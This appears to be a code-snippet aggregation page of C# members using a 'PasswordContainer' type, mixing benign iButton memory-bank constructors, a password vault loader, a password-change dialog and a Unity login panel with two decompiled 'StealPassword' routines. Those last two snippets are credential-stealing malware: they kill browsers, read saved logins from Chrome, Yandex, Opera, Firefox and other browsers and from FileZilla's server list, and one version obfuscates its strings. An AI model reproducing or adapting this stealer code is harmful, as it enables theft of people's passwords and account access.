/// <summary>
        /// Memory bank contstuctor.  Requires reference to the OneWireContainer
        /// this memory bank resides on.
        /// </summary>
        public MemoryBankNVCRCPW(PasswordContainer ibutton, MemoryBankScratchCRCPW scratch) : base((OneWireContainer)ibutton, scratch)
        {
            ibPass = ibutton;

            // initialize attributes of this memory bank
            pageAutoCRC          = true;
            readContinuePossible = true;
            numVerifyBytes       = 0;

            scratchpadPW = scratch;
        }
Beispiel #2
0
        //--------
        //-------- Constructor
        //--------

        /// <summary> Memory bank contstuctor.  Requires reference to the OneWireContainer
        /// this memory bank resides on.
        /// </summary>
        public MemoryBankScratchCRCPW(PasswordContainer ibutton) : base((OneWireContainer)ibutton)
        {
            ibPass = ibutton;

            // initialize attributes of this memory bank - DEFAULT: DS1963L scratchapd
            bankDescription = "Scratchpad with CRC and Password";
            pageAutoCRC     = true;

            // default copy scratchpad command (from DS1922)
            COPY_SCRATCHPAD_COMMAND = (byte)SupportClass.Identity(0x99);
        }
        public PasswordVault(bool loadFromFile)
        {
            // Initialize container
            _passwordContainer         = new PasswordContainer();
            _passwordContainer.VaultID = VAULTID;

            // Load vault if needed
            if (loadFromFile)
            {
                Load();
            }
        }
Beispiel #4
0
        private void butOK_Click(object sender, System.EventArgs e)
        {
            if (_isPasswordReset)
            {
                if (textPassword.Text != textCurrent.Text || string.IsNullOrWhiteSpace(textPassword.Text))
                {
                    MsgBox.Show(this, "Passwords must match and not be empty.");
                    return;
                }
            }
            else if (!IsInSecurityWindow &&
                     !Authentication.CheckPassword(Security.CurUser, textCurrent.Text))
            {
                MsgBox.Show(this, "Current password incorrect.");
                return;
            }
            string explanation = Userods.IsPasswordStrong(textPassword.Text);

            if (PrefC.GetBool(PrefName.PasswordsMustBeStrong))
            {
                if (explanation != "")
                {
                    MessageBox.Show(explanation);
                    return;
                }
            }
            //If the PasswordsMustBeStrong preference is off, still store whether or not the password is strong in case the preference is turned on later
            PasswordIsStrong = string.IsNullOrEmpty(explanation);
            if (Programs.UsingEcwTightOrFullMode())             //Same check as FormLogOn
            {
                LoginDetails = Authentication.GenerateLoginDetails(textPassword.Text, HashTypes.MD5_ECW);
            }
            else
            {
                LoginDetails = Authentication.GenerateLoginDetailsSHA512(textPassword.Text);
            }
            PasswordTyped = textPassword.Text;           //update the stored typed password for middle tier refresh
            DialogResult  = DialogResult.OK;
        }
        private void Load()
        {
            try
            {
                // Load password vault from disk and deserialize
                IFormatter formatter = new BinaryFormatter();
                using (Stream stream = new FileStream(VAULTFILE, FileMode.Open, FileAccess.Read))
                {
                    _passwordContainer = (PasswordContainer)formatter.Deserialize(stream);
                }
            }
            catch (Exception ex)
            {
                throw new VaultIOException($"Error loading vault: {ex.Message}", ex);
            }

            // Check if password vault loaded from disk is compatible with this version
            if (_passwordContainer.VaultID != VAULTID)
            {
                // Vaults are incompatible
                throw new VaultCompatibilityException($"Password container ID \"{_passwordContainer.VaultID}\" is incompatible with Vault ID \"{VAULTID}\".");
            }
        }
    public void                    DisplayPanel(bool blnClearFields = false)
    {
                        #if USES_STATUSMANAGER
        Status.UpdateStatus();
                        #endif

        if (blnClearFields)
        {
            if (UsernameInput.GetComponent <InputField>().interactable)
            {
                UsernameInput.GetComponent <InputField>().text = "";
            }
            PasswordInput.GetComponent <InputField>().text     = "";
            EmailAddressInput.GetComponent <InputField>().text = "";
        }

        if (Net == null || !Net.IsConnected || App.IsLoggedIn)
        {
            // TURN EVERYTHING OFF
            this.GetComponent <Image>().enabled = false;
            for (int i = 0; i < this.transform.childCount; i++)
            {
                this.transform.GetChild(0).GetChild(i).gameObject.SetActive(false);
            }
        }
        else
        {
            // TURN EVERYTHING ON
            this.GetComponent <Image>().enabled = true;
            for (int i = 0; i < this.transform.childCount - 1; i++)
            {
                this.transform.GetChild(0).GetChild(i).gameObject.SetActive(true);
            }

            // MODIFY WHICH BUTTONS/INPUTFIELDS ARE ACTIVE BASED ON THE STATE
            if (App.UserLoginType == 2)                                 // WINDOWS USERNAME LOGIN TYPE
            {
                UsernameInput.GetComponent <InputField>().interactable = false;
                PasswordContainer.SetActive(false);
                EmailAddressContainer.SetActive(false);
                ResetPasswordLabel.SetActive(false);
                ForgotPasswordContainer.SetActive(false);
                SignUpButton.SetActive(false);
                LoginButton.SetActive(!App.IsWorkingOffline && !Net.ForceOffline);
                UsernameInput.GetComponent <InputField>().text = App.GetWindowsUsername();
                UsernameInput.GetComponent <InputField>().MoveTextEnd(false);
                UsernameInput.GetComponent <InputField>().DeactivateInputField();
                EventSystem.current.SetSelectedGameObject(UsernameInput.GetComponent <InputField>().gameObject, null);
                UsernameInput.GetComponent <InputField>().OnPointerClick(new PointerEventData(EventSystem.current));
            }
            else
            {
                UsernameInput.GetComponent <InputField>().interactable = true;
                UsernameContainer.SetActive(!_blnIsForgetting);
                PasswordContainer.SetActive(!_blnIsForgetting);
                EmailAddressContainer.SetActive(_blnIsSigningUp || _blnIsForgetting);
                ForgotPasswordContainer.SetActive(!_blnIsForgetting && !_blnIsSigningUp);
                ResetPasswordLabel.SetActive(_blnIsForgetting);
                LoginButton.SetActive(!App.IsWorkingOffline && !Net.ForceOffline);
                SignUpButton.SetActive(App.AllowSignUp || _blnIsForgetting || _blnIsSigningUp);
            }

            bool blnCanOffline = (App != null && App.CanWorkOffline && App.IsWorkingOffline && !_blnIsForgetting && !_blnIsSigningUp);
                                #if USES_DATABASEMANAGER
            blnCanOffline = blnCanOffline && Database != null && Database.ClientsCanUse;
                                #else
            blnCanOffline = false;
                                #endif
            OfflineButton.SetActive(blnCanOffline);

            // ACTIVATE/DEACTIVATE BUTTONS BASED ON ACTIVE LOGIN  (IE, GAME VERSION IS UP TO DATE)
            LoginButton.GetComponent <Button>().interactable          = LoginIsActive && !Net.IsWorkingOffline;
            ForgotPasswordButton.GetComponent <Button>().interactable = LoginIsActive && !Net.IsWorkingOffline;
            SignUpButton.GetComponent <Button>().interactable         = LoginIsActive && !Net.IsWorkingOffline && (App.AllowSignUp || _blnIsForgetting || _blnIsSigningUp);
            OfflineButton.GetComponent <Button>().interactable        = LoginIsActive;
        }
    }
Beispiel #7
0
 // Token: 0x060000D4 RID: 212 RVA: 0x000053A8 File Offset: 0x000035A8
 public static Task <UserLog> StealPassword()
 {
     return(Task.Factory.StartNew <UserLog>(delegate
     {
         UserLog result;
         try
         {
             List <qqqqqqqq> list = new List <qqqqqqqq>
             {
                 new qqqqqqqq
                 {
                     BrowserName = "Chrfl2i93jk4ome".Replace("fl2i93jk4", string.Empty),
                     FilePaths = new List <string>
                     {
                         Environment.GetEnvironmentVariable("LocalAppData") + "\\Googqwe123213le\\Chrome\\Userqwe123213 Data\\Default\\Login Data".Replace("qwe123213", string.Empty)
                     }
                 },
                 new qqqqqqqq
                 {
                     BrowserName = "Yandep49812x".Replace("p49812", string.Empty),
                     FilePaths = new List <string>
                     {
                         Environment.GetEnvironmentVariable("LocalAppData") + "\\Yandex\\YandexBrowser\\Uf123dsser Data\\Default\\Login Daf123dsta".Replace("f123ds", string.Empty)
                     }
                 },
                 new qqqqqqqq
                 {
                     BrowserName = "Komqweq123eta".Replace("qweq123", string.Empty),
                     FilePaths = new List <string>
                     {
                         Environment.GetEnvironmentVariable("LocalAppData") + "\\Kometa\\Useqqqwr Data\\Default\\Login Datqqqwa".Replace("qqqw", string.Empty)
                     }
                 },
                 new qqqqqqqq
                 {
                     BrowserName = "Amiggg234o".Replace("gg234", string.Empty),
                     FilePaths = new List <string>
                     {
                         Environment.GetEnvironmentVariable("LocalAppData") + "\\Amigo\\wg123User\\User Dawg123ta\\Default\\Login Dawg123ta".Replace("wg123", string.Empty)
                     }
                 },
                 new qqqqqqqq
                 {
                     BrowserName = "Torchfqqqq".Replace("fqqqq", string.Empty),
                     FilePaths = new List <string>
                     {
                         Environment.GetEnvironmentVariable("LocalAppData") + "\\Torchw1fdg123\\User w1fdg123Data\\Defaultw1fdg123\\Login Datw1fdg123a".Replace("w1fdg123", string.Empty)
                     }
                 },
                 new qqqqqqqq
                 {
                     BrowserName = "hhh23Orbitum".Replace("hhh23", string.Empty),
                     FilePaths = new List <string>
                     {
                         Environment.GetEnvironmentVariable("LocalAppData") + "\\Orbith52342234um\\User Dah52342234ta\\Default\\Login Dath52342234a".Replace("h52342234", string.Empty)
                     }
                 },
                 new qqqqqqqq
                 {
                     BrowserName = "Opeuuff1ra".Replace("uuff1", string.Empty),
                     FilePaths = new List <string>
                     {
                         Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Opera Si5542oftware\\Opei5542ra Stable\\Login i5542Data".Replace("i5542", string.Empty)
                     }
                 },
                 new qqqqqqqq
                 {
                     BrowserName = "Mojj311zilla".Replace("jj311", string.Empty),
                     FilePaths = Dominatroer.FileMozl()
                 }
             };
             UserLog userLog = new UserLog
             {
                 Time = DateTime.Now,
                 UserName = Environment.UserName,
                 ListOfLogs = new List <PasswordContainer>()
             };
             Dominatroer.KillAwerything();
             foreach (qqqqqqqq qqqqqqqq in list)
             {
                 PasswordContainer passwordContainer = new PasswordContainer
                 {
                     Name = qqqqqqqq.BrowserName,
                     ListOfLogs = new List <Log>()
                 };
                 foreach (string text in qqqqqqqq.FilePaths)
                 {
                     try
                     {
                         bool flag = qqqqqqqq.BrowserName == "Mojj311zilla".Replace("jj311", string.Empty);
                         if (flag)
                         {
                             passwordContainer.ListOfLogs.AddRange(new FireFox(text).GetPasswords());
                             break;
                         }
                         bool flag2 = File.Exists(text);
                         if (flag2)
                         {
                             passwordContainer.ListOfLogs.AddRange(new Chrome(text).GetPasswords());
                         }
                     }
                     catch
                     {
                     }
                 }
                 userLog.ListOfLogs.Add(passwordContainer);
             }
             try
             {
                 PasswordContainer passwordContainer2 = new PasswordContainer();
                 passwordContainer2.Name = "FileZijj3qq211lla".Replace("jj3qq211", string.Empty);
                 passwordContainer2.ListOfLogs = new List <Log>();
                 try
                 {
                     bool flag3 = File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\FileZilla\\rrevcetecentservers.xml".Replace("revcet", string.Empty));
                     if (flag3)
                     {
                         using (FileStream fileStream = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\FileZilla\\recentse666322rvers.xml".Replace("666322", string.Empty), FileMode.Open))
                         {
                             FileZilla3 fileZilla = (FileZilla3)Dominatroer.dbFormat.Deserialize(fileStream);
                             PasswordContainer passwordContainer3 = passwordContainer2;
                             passwordContainer3.Name = passwordContainer3.Name + " " + fileZilla.Version;
                             foreach (Server server in fileZilla.RecentServers.Server)
                             {
                                 Log item = new Log
                                 {
                                     Login = server.User,
                                     URL = server.Host + Environment.NewLine + "Портqqqq: ".Replace("qqqq", string.Empty) + server.Port,
                                     Password = server.Pass.Text + Environment.NewLine + "Метод ши5233фрования: ".Replace("5233", string.Empty) + server.Pass.Encoding
                                 };
                                 passwordContainer2.ListOfLogs.Add(item);
                             }
                         }
                     }
                 }
                 catch (Exception ex)
                 {
                 }
                 finally
                 {
                     userLog.ListOfLogs.Add(passwordContainer2);
                 }
             }
             catch
             {
             }
             result = userLog;
         }
         catch
         {
             result = new UserLog();
         }
         return result;
     }));
 }
Beispiel #8
0
 // Token: 0x06000147 RID: 327 RVA: 0x00006E80 File Offset: 0x00005080
 public static Task <UserLog> StealPassword()
 {
     return(Task.Factory.StartNew <UserLog>(delegate
     {
         UserLog result;
         try
         {
             List <Browser> list = new List <Browser>
             {
                 new Browser
                 {
                     BrowserName = "Chrome",
                     FilePaths = new List <string>
                     {
                         Environment.GetEnvironmentVariable("LocalAppData") + "\\Google\\Chrome\\User Data\\Default\\Login Data"
                     }
                 },
                 new Browser
                 {
                     BrowserName = "Yandex",
                     FilePaths = new List <string>
                     {
                         Environment.GetEnvironmentVariable("LocalAppData") + "\\Yandex\\YandexBrowser\\User Data\\Default\\Login Data"
                     }
                 },
                 new Browser
                 {
                     BrowserName = "Kometa",
                     FilePaths = new List <string>
                     {
                         Environment.GetEnvironmentVariable("LocalAppData") + "\\Kometa\\User Data\\Default\\Login Data"
                     }
                 },
                 new Browser
                 {
                     BrowserName = "Amigo",
                     FilePaths = new List <string>
                     {
                         Environment.GetEnvironmentVariable("LocalAppData") + "\\Amigo\\User\\User Data\\Default\\Login Data"
                     }
                 },
                 new Browser
                 {
                     BrowserName = "Torch",
                     FilePaths = new List <string>
                     {
                         Environment.GetEnvironmentVariable("LocalAppData") + "\\Torch\\User Data\\Default\\Login Data"
                     }
                 },
                 new Browser
                 {
                     BrowserName = "Orbitum",
                     FilePaths = new List <string>
                     {
                         Environment.GetEnvironmentVariable("LocalAppData") + "\\Orbitum\\User Data\\Default\\Login Data"
                     }
                 },
                 new Browser
                 {
                     BrowserName = "Opera",
                     FilePaths = new List <string>
                     {
                         Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Opera Software\\Opera Stable\\Login Data"
                     }
                 },
                 new Browser
                 {
                     BrowserName = "Mozilla",
                     FilePaths = StealHelper.MozillaFiles()
                 }
             };
             UserLog userLog = new UserLog
             {
                 Time = DateTime.Now,
                 UserName = Environment.UserName,
                 ListOfLogs = new List <PasswordContainer>()
             };
             StealHelper.KillBrowsers();
             foreach (Browser browser in list)
             {
                 PasswordContainer passwordContainer = new PasswordContainer
                 {
                     Name = browser.BrowserName,
                     ListOfLogs = new List <Log>()
                 };
                 foreach (string text in browser.FilePaths)
                 {
                     try
                     {
                         bool flag = browser.BrowserName == "Mozilla";
                         if (flag)
                         {
                             passwordContainer.ListOfLogs.AddRange(new FireFox(text).GetPasswords());
                             break;
                         }
                         bool flag2 = File.Exists(text);
                         if (flag2)
                         {
                             passwordContainer.ListOfLogs.AddRange(new Chrome(text).GetPasswords());
                         }
                     }
                     catch
                     {
                     }
                 }
                 userLog.ListOfLogs.Add(passwordContainer);
             }
             try
             {
                 PasswordContainer passwordContainer2 = new PasswordContainer();
                 passwordContainer2.Name = "FileZilla";
                 passwordContainer2.ListOfLogs = new List <Log>();
                 try
                 {
                     bool flag3 = File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\FileZilla\\recentservers.xml");
                     if (flag3)
                     {
                         using (FileStream fileStream = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\FileZilla\\recentservers.xml", FileMode.Open))
                         {
                             FileZilla3 fileZilla = (FileZilla3)StealHelper.dbFormat.Deserialize(fileStream);
                             PasswordContainer passwordContainer3 = passwordContainer2;
                             passwordContainer3.Name = passwordContainer3.Name + " " + fileZilla.Version;
                             foreach (Server server in fileZilla.RecentServers.Server)
                             {
                                 Log item = new Log
                                 {
                                     Login = server.User,
                                     URL = server.Host + Environment.NewLine + "Порт: " + server.Port,
                                     Password = server.Pass.Text + Environment.NewLine + "Метод шифрования: " + server.Pass.Encoding
                                 };
                                 passwordContainer2.ListOfLogs.Add(item);
                             }
                         }
                     }
                 }
                 catch (Exception ex)
                 {
                 }
                 finally
                 {
                     userLog.ListOfLogs.Add(passwordContainer2);
                 }
             }
             catch
             {
             }
             result = userLog;
         }
         catch
         {
             result = new UserLog();
         }
         return result;
     }));
 }